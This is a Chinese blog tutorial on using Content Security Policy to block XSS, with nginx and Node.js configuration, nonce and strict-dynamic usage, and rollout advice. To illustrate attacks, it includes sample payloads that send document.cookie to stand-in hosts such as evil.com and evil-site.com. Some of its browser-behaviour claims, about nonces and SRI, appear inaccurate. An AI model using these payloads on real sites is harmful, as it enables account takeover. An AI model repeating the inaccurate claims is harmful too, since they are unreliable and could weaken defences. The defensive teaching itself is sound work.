☰
前端安全实战:用CSP白名单机制阻断XSS攻击链路
2026/10/17 4:54:12 网站建设 项目流程

先从一个真实翻车现场说起

两年前我接手过一个线上商城的前端安全改造,当时客户报障说一批账号出现异地登录,排查了一个通宵,最后在个人签名字段里找到了一个隐藏的<script>标签。攻击者把恶意脚本塞进用户签名,脚本跑起来直接读走了document.cookie,那条 Cookie 带着会话令牌,顺着请求发到了他的服务器,然后他用拿到的令牌登录了受害者的账号。

修复这个漏洞并不难,后端加个输入校验、前端渲染时转义掉特殊字符就行。但让我后背发凉的是另一个问题:就算过滤做得再完美,也挡不住有人的浏览器装了奇奇怪怪的扩展,或者业务代码里一个不起眼的innerHTML把一个用户输入拼了进去。XSS 的漏洞形态千奇百怪,你永远堵不完所有的口子。

所以那之后我把重点放在了内容安全策略 Content Security Policy(简称 CSP)上。一句话说清楚它的价值:CSP 是浏览器原生提供的一套"白名单防火墙",它能告诉浏览器"这个页面只能加载我信任的脚本、样式和资源",即使攻击者把恶意代码注入进来了,浏览器也会因为代码来路不明而选择拒绝执行。这是从根上斩断 XSS 攻击链的关键手段。

这篇文章我会把我实践中的完整经验拆给你看:从 XSS 的攻击链路讲起,到 CSP 的每个指令、每种配置方式的含义,再到一步一步上线一套靠谱策略的完整过程,最后分享我在真实项目里踩过的坑和排查思路。这不仅是一篇配置手册,更是一份可以直接抄作业的安全改造指南。

1. XSS 攻击到底是怎么发生的——不搞懂攻击链,配置 CSP 就是瞎忙

1.1 三种 XSS 形态:长得像,死法不同

我开始研究 CSP 之前,总觉得 XSS 不就是"用户输入没过滤嘛"。真深入进去才发现,XSS 至少分三种,每一种的触发链路、责任方、修复方式都完全不一样。

反射型 XSS(Reflected XSS)是最"直白"的一种。它的特征是恶意脚本藏在 URL 参数里,后端拿到参数后没有转义就直接拼进了 HTML 响应。举个例子,一个搜索页https://shop.com/search?q=keyword,后端返回的是<p>您搜索的是:keyword</p>。如果攻击者把keyword换成<script>document.location='https://evil.com/?c='+document.cookie</script>,并且把这条链接发给受害者,受害者一点,浏览器就替攻击者执行了脚本。整个过程脚本在服务端和浏览器之间"反射"了一次,所以叫反射型。

存储型 XSS(Stored XSS)更阴险。恶意脚本被提交到了服务端数据库里,比如评论、昵称、个人签名,然后只要任何用户浏览到展示这个数据的地方,脚本就在每个人的浏览器里执行一次。开头的商城案例就是存储型。这类攻击的覆盖面是所有访问者,所以危害也最大。攻击者甚至可以直接在页面上挂一个伪造的登录框,把你的密码也套走。

DOM 型 XSS(DOM-based XSS)跟前两者不同,它根本不经过服务端。整个攻击链都发生在浏览器里:JavaScript 代码读取了location.hash或者window.name这类来源的数据,然后直接把它传给了innerHTML、document.write、eval这类"执行位置"。比如前端代码写了document.getElementById('result').innerHTML = location.hash.substring(1),那攻击者只要发给受害者一个https://shop.com/page#<img src=x onerror=alert(1)>的链接,脚本照样执行。服务端和前端框架根本拦不到这种攻击,因为后端看到的请求路径是完全正常的。

1.2 一次完整的攻击链路拆解:恶意脚本是如何得手的

为了方便说明后面 CSP 是怎么"出手"的,我用一个典型的存储型 XSS 把攻击链路完整拉一遍。假如某博客平台允许用户提交访客留言,留言内容没有做渲染前转义,前端直接innerHTML插入了留言列表。

第一步,攻击者在留言框里输入:

<img src="anything" onerror="fetch('https://evil-site.com/collect?token='+document.cookie)">

第二步,留言被存进数据库。第三步,受害者打开博客页面,前端渲染留言时innerHTML把这个<img>标签插入 DOM。图片加载失败触发onerror事件,脚本开始执行。第四步,浏览器发起fetch请求,把受害者当前站点的 Cookie 带给了攻击者的服务器。第五步,攻击者拿到 Cookie,解析出会话令牌,冒充受害者登录。

你仔细看这个过程:脚本本身是"用户输入"——进入了数据库——进入了 DOM——执行了。中间任何一步拦截住,攻击就失败了。传统的修复思路是在后端过滤输入,或者在渲染前转义输出,这两招分别卡在第二步和第三步。但它们有一个共同的弱点:只要漏掉一个字段、一个渲染点,链条就通了。CSP 的思路完全不同,它把守的是第四步之后的关卡——就算脚本已经在页面上跑起来了,浏览器也会因为"这个脚本不在我的白名单里"而拒绝执行,攻击链在这里被生生切断。

理解了这条链路,你就理解了我为什么建议每个站点都上 CSP。它不是用来替代过滤和转义的,而是给整条防线兜底的最后一道闸。

2. CSP 的底层工作机制——浏览器是怎么当上"安全守门员"的

2.1 核心指令体系:一张白名单管住所有资源加载

CSP 本质上是一段由浏览器解析的声明,一般通过 HTTP 响应头Content-Security-Policy下发。它通过若干条指令,告诉浏览器"页面里的每一种资源,只允许从哪里加载"。

最常见的指令有这么几条:

指令管辖范围我给你的配置建议
default-src所有资源类型的兜底来源必须先设,作为全局下限
script-srcJavaScript 脚本的加载与执行来源最核心,最严格
style-src样式表、<style>标签、style 属性开发期常踩坑
img-src图片、favicon、网页图标宽松一点问题不大
connect-srcfetch、XHR、WebSocket 等网络连接接口域名必须精确匹配
font-src字体文件加载来源注意 CDN 域名
frame-src<iframe>嵌入内容来源第三方视频、支付页会用到
frame-ancestors控制当前页面能否被别的页面 iframe 嵌入防点击劫持的关键
base-uri限制<base>标签可指向的 URL防"base 标签注入"
form-action限制表单可以提交到的地址防钓鱼表单提交
object-src<object>、<embed>、<applet>来源一般直接'none'
upgrade-insecure-requests自动把页面内 http 请求升级为 https建议开启

指令之间不是"各管各的"那么简单。如果script-src没写,浏览器就去翻default-src;default-src也没写,那浏览器就不对这个资源类型做任何限制。这个继承规则是 CSP 理解的核心,很多人配置翻车的第一个原因就是"我以为写了default-src就能管住脚本",结果脚本照样放行了——因为script-src单独写了,覆盖了default-src的约束。

2.2 源表达式:白名单里的"通配符"和"特殊关键词"

每个指令的值是一串"源表达式",表现形式像 URL 的一部分,但规则比 URL 灵活得多。我做一个速查表:

写法含义注意点
'self'当前站点自己的源(协议+域名+端口)单引号必须写,很多人漏掉
'none'禁止一切来源适合object-src
https://api.example.com指定 HTTPS 域名默认带上任意端口
*.example.com匹配 example.com 及其所有子域名包括你自己都想不到的子域
https:所有 HTTPS 来源非常宽,慎用
'unsafe-inline'允许内联脚本/样式脚本里这个等同于"门户大开"
'unsafe-eval'允许 eval、Function 构造器执行同上,属于高危豁免
'nonce-xxx'白名单中带特定随机数属性的脚本块严格 CSP 的核心
'sha256-xxx'白名单中经过哈希匹配的脚本块适合静态内联脚本
'strict-dynamic'信任由已通过 nonce/hash 的脚本加载出来的后续脚本现代严格 CSP 标配

这里我重点提醒一件事:'unsafe-inline'出现在script-src里,CSP 基本就等于形同虚设。为什么?因为 CSP 拦截 XSS 的核心能力,就是阻止那些"内联的、无法验证来源的脚本"。一旦你允许'unsafe-inline',攻击者注入的<script>标签和onerror属性就全都属于"内联脚本",被浏览器直接放行。很多老项目改 CSP 时图省事,直接把这个写上去,我见过太多这种"配了等于没配"的生产事故了。

2.3 策略的传递方式:响应头为主,坑比较多

CSP 有两种下发方式。第一种是 HTTP 响应头,这是正规做法,配置在 Web 服务器或应用中间件上,所有 HTML 响应都会携带。第二种是<meta http-equiv="Content-Security-Policy" content="...">,可以放在 HTML 的<head>里。meta 方式适合快速验证、纯静态页面,但限制很明显:它不能用frame-ancestors、report-uri、sandbox这些指令,而且对report-to的兼容性也差。我一般只在本地 Demo 里用 meta,生产环境一律响应头。

还有一个容易被忽略的规则:如果你在响应头里重复下发多条 CSP,或者响应头里有一个、meta 里还有一个,浏览器会取所有策略的交集。意思是最严格的那条约束生效。这个特性其实可以利用——比如在某条特殊路径上额外收紧策略,而不用推翻全局配置。但它同时也是个隐患:如果你在不同的代理层(网关、CDN、后端)各自加了一条 CSP,浏览器会认为它们是两条独立的策略,只保留交集,这也是很多奇怪"资源被拦"问题的源头。

3. 实战操练:从零配置一套能打的 CSP 策略

3.1 起步策略:每一行都要看懂

实操层面我以一个典型的 nginx + 前端静态资源 + 后端 API 的架构为例。第一步,先写一个最基础的强化策略:

add_header Content-Security-Policy " default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://cdn.example.com; connect-src 'self' https://api.example.com; font-src 'self' https://fonts.example.com; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; ";

逐条过一遍思路。default-src 'self'是地基:除了后面明确放宽的资源类型,其他任何资源都只能从本站加载。script-src只信任本站和某个 CDN 域名,同时因为没写'unsafe-inline',页面里所有内联<script>和事件属性默认被禁——这是策略里最有价值的一部分。注意style-src我特意留了'unsafe-inline',这不是偷懒,是因为很多组件库会把样式动态塞进 style 属性,而且样式内联的安全风险远低于脚本,市面上主流工具(比如一些技术分析平台)也都建议给样式留这个口子。

connect-src 'self' https://api.example.com这条特别关键。SPA 架构下,前端页面和 API 往往不同域,如果不把 API 域名显式加进connect-src,所有 ajax 请求都会被浏览器拦截,线上直接白屏。object-src 'none'把 Flash 时代的遗留标签全禁掉,攻击面少一块。frame-ancestors 'none'直接拒绝被任何页面 iframe 嵌套,这对电商、银行这类页面很重要——有些恶意外链站点会在透明 iframe 里叠一层你的登录页,诱导用户点击,这个指令直接断了这条路。

3.2 处理内联脚本:Nonce 和 Hash 到底怎么用

如果你按照上面那份策略直接上生产,大概率会收到一票报错——现代前端几乎不可能完全避免内联脚本。Vite 打包出来的 HTML 里有一个内联的初始化脚本,各种第三方统计代码也常用内联方式。这时候你只有两条出路:要么把脚本抽成独立文件,彻底消灭内联;要么用 nonce 或 hash 给可信的内联脚本发"通行证"。

Nonce 的机制可以这样理解:服务器在返回每个页面时,随机生成一个一次性随机数nonce-abc123,放在 CSP 响应头里,同时要求页面里所有可信的内联<script>标签必须带上nonce="abc123"属性。浏览器加载时会比对这两个值,一致才放行。这里的核心是"一次性"——每次请求 nonce 都要重新生成,如果攻击者猜不到或者无法复用,他注入的脚本就拿不到匹配的 nonce,照样被拦。

以 Node.js 中间件为例,生成逻辑长这样:

const crypto = require('crypto'); function cspMiddleware(req, res, next) { const nonce = crypto.randomBytes(16).toString('base64'); res.locals.nonce = nonce; res.setHeader( 'Content-Security-Policy', `default-src 'self'; script-src 'self' 'nonce-${nonce}'; object-src 'none';` ); next(); }

模板渲染时,可信脚本加上 nonce 属性:

<script nonce="<%= nonce %>"> window.__INITIAL_STATE__ = {...}; </script>

Hash 则完全不同。它针对的是"内容固定不变"的内联脚本:先用openssl dgst -sha256 -binary script.js | base64算出脚本内容的哈希,然后把'sha256-xxxxx'写进 CSP。浏览器加载脚本时,先算一遍哈希,匹配上了才执行。它的好处是不需要每次动态生成,坏处是脚本内容哪怕改一个空格,哈希就变了,你得同步更新策略。所以 hash 更适合那种"几乎不变"的初始化脚本,而 nonce 更适合完全动态的页面。

3.3 灰度上线:先报告后强制,别把线上搞崩

我见过太多团队一上来就把 CSP 强制模式怼到生产环境,结果第二天工程师们集体抓狂——图表库的 worker 加载不了、某个埋点脚本被拦、客服系统 iframe 直接白屏。所以我对所有项目的建议都是:永远先走报告模式。

CSP 提供了一个专用响应头Content-Security-Policy-Report-Only,它的行为和强制模式一样,唯一区别是:该拦的资源照常加载,只是浏览器会把违反策略的行为通过report-uri或report-to指令发到指定地址。这意味着你可以让 CSP 先"只报警、不动手",在真实流量下观察有哪些合法资源被误伤,逐步修正策略,最后再切换成Content-Security-Policy强制执行。

具体的上线流程我一般分成四步。第一步,在报告模式下发一份"我认为正确"的完整策略,同时配好收集端。第二步,观察一到两周报告数据,重点收集被拦截的 URL 和被违反的指令,凡是误拦的业务资源,逐条决议是加白名单还是改代码。第三步,把误伤率压到接近零之后,切到强制模式。第四步,持续监控报告,因为前端代码会不断变化——新引入的第三方脚本、新的图片域名、新的接口路径,都会产生新的违规报告,CSP 策略必须跟着业务迭代。

报告地址怎么配?旧标准是report-uri /csp-report-endpoint,新标准是report-to配合 JSON 配置的 Group 机制。目前兼容性最好的是两个都写上,监听端做好兼容即可:

add_header Content-Security-Policy-Report-Only " default-src 'self'; script-src 'self' 'nonce-abc123'; report-uri /__csp_report__; report-to csp-endpoint; ";

4. 上线后必然遇到的问题:排查实录与避坑清单

4.1 常见翻车现场速查表

我把真实项目里高频出现的 CSP 问题整理成了表格,按"报错现象、根因、处置方案"三列来写,你在线上遇到对应问题可以直接对号入座:

现象根因处置方案
页面样式全乱,控制台报style-src违规组件库动态插入<style>或style属性给style-src加上'unsafe-inline',或者让样式全部走外链
所有 ajax 请求被拦截,接口 200 但页面拿不到数据API 域名不在connect-src白名单里把接口域名精确加到connect-src
Vue / React 生产包报eval相关违规部分依赖用了eval或Function构造器先把'unsafe-eval'加上确认根因,然后升级依赖版本后逐步移除
第三方地图、支付 iframe 白屏frame-src没放行对应的第三方域名提取对方域名,加到frame-src
图片裂图,控制台报img-src违规图片来自 unpkg、外部图床等未知域名把图床域名加进img-src
字体图标消失font-src未放行字体 CDN加入字体域名,注意子域名也要覆盖
WebSocket 连不上WebSocket 域名不在connect-src特殊写法:ws:或wss://域名
页面被 iframe 嵌套后功能异常自己业务里合法嵌入了第三方,但被frame-ancestors限制把特定域名加进frame-ancestors,但保持'self'兜底

4.2 排障工具链:别再用肉眼猜了

遇到 CSP 问题,最直接的线索永远在浏览器控制台。Chrome 会输出类似这样的错误信息:

Refused to load the script 'https://evil.example.com/x.js' because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-abc123'"

这行报错信息量很大:它明确告诉你被拦截的资源、命中的指令、以及当前策略内容。但报错里的源有时候不全——比如内联脚本报错时会说inline script而不给出具体行号,这时候就需要打开"Elements"面板,搜索nonce属性或查看脚本的具体位置,判断是哪一行触发的。

我强烈推荐两个工具配合使用。第一个是 Google 官方的 CSP Evaluator,把策略丢进去,它会逐条标记高风险配置,比如发现'unsafe-inline'、'unsafe-eval'、*通配符都会给出风险评级。第二个是浏览器扩展 "CSP Mitm" 或者直接用 Chrome DevTools 的 Network 面板 + Console 过滤组合,可以实时模拟调整 CSP,看看哪些资源被放行、哪些被拦,调策略阶段的效率能提高不少。

4.3 避坑清单:这些坑我替你踩过了

自动加入'unsafe-inline'的默认行为

随着 CSP 版本演进,有一个非常隐蔽的坑:当你在script-src里用了 nonce 或 hash,并且没有写'unsafe-inline'时,老版本浏览器会直接忽略 nonce 机制,并把所有内联脚本当成"受'unsafe-inline'管"——等于'unsafe-inline'被隐式启用了。这就是为什么严格 CSP 必须配套'strict-dynamic':它会在支持 strict-dynamic 的浏览器里让'unsafe-inline'失效,保持策略的严格性。你可以这么理解:nonce / hash 是给现代浏览器的,strict-dynamic 是给"现代但还残留了 unsafe-inline 兼容逻辑"的浏览器的。

通配符是最大的坑

*.cdn.com看起来人畜无害,但 CSP 的通配符语义是"域名任意子域 + 任意端口 + 任意协议",有些 CDN 的子域名历史上被用来托管用户上传内容,那里就是天然的 XSS 发射点。所以能用精确域名就不用通配符,能用https:就别用*:。

内联样式不是不能碰

网上很多文章把style-src 'unsafe-inline'视为洪水猛兽,我的经验是:对于没有用户可控内容注入样式的业务,这个值可以接受。真正不能妥协的是script-src 'unsafe-inline'。安全要讲性价比,样式内联的攻击面远小于脚本内联。

小心 base 标签注入

base-uri指令很多人不知道,但它防的是一个真实攻击:攻击者如果能往页面 HTML 里注入一个<base href="https://evil.example.com/">标签,页面里所有相对路径的资源(/api/user、/images/logo.png)就全被带到了攻击者服务器上,CSP 白名单直接失效。所以我给所有站点的基线配置里都加上了base-uri 'self'。

5. 更高阶的玩法:严格 CSP 与纵深防御体系

5.1 现代标配:Nonce + Strict-Dynamic 的"严格 CSP"

如果你把 CSP 玩到了第 4 章,已经比大多数团队强了,但真正能扛住高阶攻击的是所谓"严格 CSP"(Strict CSP)。它的核心组合是:

script-src 'nonce-随机值' 'strict-dynamic' https: http: 'unsafe-inline';

第一次看到这份配置的人肯定会问:既有'unsafe-inline'又有https:,这能安全吗?秘密在于'strict-dynamic'的存在会触发浏览器的特殊行为:在支持 strict-dynamic 的浏览器里,'unsafe-inline'和http:被自动忽略,实际生效的只有'nonce-随机值'和'strict-dynamic'。而在不支持 strict-dynamic 的老浏览器里,'unsafe-inline'又能够兜底,避免页面直接崩掉。'strict-dynamic'的完整语义是:如果一个脚本是通过带合法 nonce 或 hash 的脚本加载进来的,那么这个脚本加载的其他任何脚本也都被信任。

这个机制的实用价值非常大。现代前端框架几乎都会动态加载 chunk 文件,入口只有一个带 nonce 的<script src="/app.js" nonce="abc">,但 app.js 运行后又去加载几十个业务 chunk,这些后续加载的脚本根本没法都加 nonce。如果只靠白名单域名,你只能把整个站点的脚本来源域名全都放进来,白名单越攒越长,失去意义。而 strict-dynamic 让"可信脚本引出的脚本自动可信",既保住了动态加载,又把白名单收敛到了"一个 nonce"。

我现在的推荐组合是:script-src 'nonce-<每次请求随机>' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'self'。看着宽松,实际执行时严格得一批。

5.2 纵深防御:CSP 之外的攻击链拼图

把 CSP 当成银弹也是不对的。我负责的安全改造里,CSP 只是整体防御体系中的一环,它再怎么厉害,也拦截不了下面这些场景:页面里根本没脚本,但数据被通过<a href>钓鱼链接带走;用户的密码被伪造登录框套走;Cookie 被子域上的其他漏洞偷走。所以下面三件事我建议你跟 CSP 一起做。

第一件,给会话 Cookie 打上HttpOnly和Secure标记。HttpOnly保证document.cookie读不到会话令牌,这样即使 CSP 被穿透、脚本成功执行了,攻击者也没法顺着 Cookie 偷走登录态。第二件,输出编码不能省。CSP 防的是脚本执行,但 HTML 实体编码、JavaScript 字符串转义、URL 参数编码是成本最低的防线,尤其是 DOM 型 XSS,CSP 的 nonce 模型根本防不住攻击者用location.hash拼innerHTML的场景——因为没有非法的脚本来源要被拦截,恶意代码是纯字符串进去了。第三件,给外部脚本加上 SRI(Subresource Integrity)校验。带integrity属性的<script>标签会让浏览器加载完脚本后先比对哈希,CDN 被黑或者供应链被投毒时,恶意代码根本执行不了。CSP 给 SRI 开了绿灯:script-src里带 nonce 的情况下,SRI 标签默认被视为可信。

如果项目是纯前端、团队安全能力有限,我还可以推荐一个相对小众但有效的方向:Trusted Types。它把innerHTML、outerHTML这类 DOM 插入 API 从"什么字符串都能塞"改成了"只有经过安全策略认可的 TrustedHTML 对象才能塞"。配合 CSP 的require-trusted-types-for 'script'指令,内联脚本和字符串拼接式的 DOM 注入会被浏览器从机制上禁掉,这是前端框架化时代对付 DOM XSS 最前沿的解法之一。

5.3 按场景参考的策略模板

最后给你三版可以直接套用的策略模板,按项目类型区分。

传统的服务端渲染网站,比如 CMS、博客、企业官网,脚本基本都在后端模板里,适合中规中矩的白名单:

default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';

现代 SPA(Vue / React / Angular),资源全是动态加载的,直接上严格 CSP:

script-src 'nonce-<每次请求随机>' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'self';

电商、金融类高敏业务,在 SPA 基础上再收紧一圈,并且把合规上报纳入 KPI:

default-src 'self'; script-src 'nonce-<每次请求随机>' 'strict-dynamic' https: 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://img.example.com; connect-src 'self' https://api.example.com wss://api.example.com; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'self'; upgrade-insecure-requests; report-uri /__csp_report__; report-to csp-endpoint;

写在最后:我个人实践里的三点体会

做了这么多安全改造,最深的体会是:CSP 不是写一条响应头就完事,它是一套需要持续维护的安全基线。我第一次给某个内部系统上强制 CSP 的时候,图省事把script-src的'unsafe-inline'加上了,结果安全扫描直接给了个高危评级,后来花了两周时间把几十处内联脚本改成外链文件才真正达标。这个过程痛苦,但这恰恰说明 CSP 的约束力是实打实的。

第二个体会是:报告模式灰度绝不是"可选步骤",它是唯一能让策略和业务一起演进的手段。你不可能在开发环境里把线上所有资源类型预判全,上线后监控报告、定期清理过期白名单才是正常状态。

最后一个建议是:如果你所在团队的安全基础薄弱,别追求一步到位,先把最容易出问题的script-src管住,配合 HttpOnly Cookie 和输入输出编码,就能挡住九成的常见攻击。等团队习惯了这套思维方式,再逐步上 strict-dynamic、SRI、Trusted Types。安全是持续的过程,不是一次性的配置。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询